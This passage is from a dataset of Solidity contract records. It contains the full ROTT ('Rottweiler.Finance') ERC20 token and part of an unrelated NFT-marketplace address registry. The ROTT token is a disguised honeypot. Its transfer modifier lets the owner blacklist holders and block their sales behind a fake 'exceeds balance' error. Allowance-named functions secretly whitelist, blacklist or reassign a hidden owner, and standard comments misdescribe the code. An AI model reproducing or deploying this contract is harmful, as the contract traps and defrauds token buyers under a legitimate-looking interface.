burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approveCheck
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 10624, 11215 ] }
7,015
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 13080, 13175 ] }
7,016
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 13773, 13870 ] }
7,017
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateGrapes
function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; }
/** @notice Update grapes contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 882, 1099 ] }
7,018
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateAuction
function updateAuction(address _auction) external onlyOwner { auction = _auction; }
/** @notice Update Auction contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1175, 1274 ] }
7,019
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateMarketplace
